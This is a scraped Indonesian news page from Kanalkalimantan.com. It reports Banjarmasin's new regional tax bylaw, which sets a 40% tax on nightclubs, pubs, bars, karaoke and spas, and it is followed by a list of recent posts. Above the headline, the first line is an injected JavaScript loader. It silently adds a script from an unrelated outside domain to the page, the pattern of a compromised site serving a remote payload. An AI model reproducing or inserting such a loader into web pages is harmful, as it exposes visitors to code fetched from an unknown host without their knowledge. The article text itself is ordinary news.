(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Kejar PAD, Pajak THM-Pub-Bar-Karaoke di Banjarmasin Naik 40%


KANALKALIMANTAN.COM, BANJARMASIN – Memasuki tahun 2023, Pemerintah Kota (Pemko) Banjarmasin bersama DPRD Kota Banjarmasin menggelar rapat paripurna tutup masa sidang I tahun 2022 dan buka masa sidang I tahun 2023.

Salah satu bahasan yang berlangsung di ruang rapat paripurna DPRD Kota Banjarmasin tersebut yakni persetujuan bersama penetapan Peraturan Daerah (Perda) tentang pajak daerah.

Penarikan pajak Tempat Hiburan Malam (THM) tidak luput dari pembahasan pada rapat yang dipimpin oleh Ketua DPRD Kota Banjarmasin, Harry Wijaya tersebut.

Dari hasil rapat disepakati, besaran pajak THM dan penyedia jasa yang sejenis lainnya dikenakan pajak 40 persen.

 

 

Baca juga: Pembangunan Puskesmas Mantuil Molor, Kontraktor Didenda dan Diblacklist 

“Pajak diskotek, klub malam, pub, bar, musik dengan DJ dan karaoke, termasuk karaoke keluarga besarannya 40 persen,” ujar Ketua DPRD Kota Banjarmasin, Harry Wijaya.

“Besaran pajaknya 40%, juga dikenakan terhadap tempat mandi uap dan spa,” tambahnya.

Salah satu Tempat Hiburan Malam (THM) di Kota Banjarmasin. Foto: rizki

Disamping itu beberapa objek pajak juga mengalami kenaikan dengan besaran bervariasi. Seperti misalnya pajak olahraga biliar dan bowling dikenakan pajak sebesar 10 persen.

“Untuk biliar dan bowling dikenai pajak 10 persen, untuk PJU juga 10 persen, dan lainnya,” kata Harry.

Baca juga: KRONOLOGI. Lelaki ODGJ Tertabrak di Jalan Gubernur Soebarjo, Sopir Serahkan Diri ke Polisi

Sementara itu, Wali Kota Banjarmasin pada rapat yang gelar Senin (2/1/2022) tersebut mengatakan, kenakan pajak daerah tersebut bertujuan untuk meningkatkan pendapatan daerah Kota Banjarmasin.

Pemko Banjarmasin menargetkan Pendapatan Asli Daerah (PAD) Kota Banjarmasin di tahun 2023 sebesar Rp 700 miliar.

“Kita menargetkan PAD tahun ini Rp 700 miliar,” ujarnya.

Ibnu mengatakan, penetapan Perda tentang pajak daerah tersebut telah mengacu kepada Undang-Undang perpajakan. (Kanalkalimantan.com/rizki)

Reporter : rizki
Editor : bie


Risa

Recent Posts

Kunker DPRD Kapuas Perkaya Referensi Raperda Bangunan Gedung

KANALKALIMANTAN.COM, KUALA KAPUAS – Panitia Khusus (Pansus) I Dewan Perwakilan Rakyat Daerah (DPRD) Kabupaten Kapuas… Read More

38 menit ago

Haul Dua Wali Allah di Cempaka yang Sangat Dermawan dan Hidup Sederhana

KANALKALIMANTAN.COM, BANJARBARU - Haul Syarifah Badrun Al Qadiri Al Hasani bin Sayyid Yusuf Al-Qadiri Al-Hasani… Read More

3 jam ago

Peringati Hari Buruh, PLN Tebar Kebaikan untuk Petugas Kebersihan Kebun Raya Banua

KANALKALIMANTAN.COM, BANJARBARU - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More

4 jam ago

Jhonny Iskandar Meninggal Dunia, Ini Profil Pelantun “Bukan Pengemis Cinta”

KANALKALIMANTAN.COM - Penyanyi senior Jhonny Iskandar meninggal dunia hari ini, Jumat (10/5/2024). Eks personel Orkes… Read More

6 jam ago

TMMD di Desa Sungai Karias Bangun Ulang Rumah Tak Layak Huni

KANALKALIMANTAN.COM, AMUNTAI – Membangun ulang Rumah Tidak Layak Huni (RTLH) menjadi layak huni menjadi salah… Read More

7 jam ago

Lepas Atlet ke Popda Kalsel, Ini Kata Ketua DPRD Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Target juara umum kontingen Kota Banjarbaru dalam ajang Pekan Olahraga Pelajar Daerah… Read More

7 jam ago

This website uses cookies.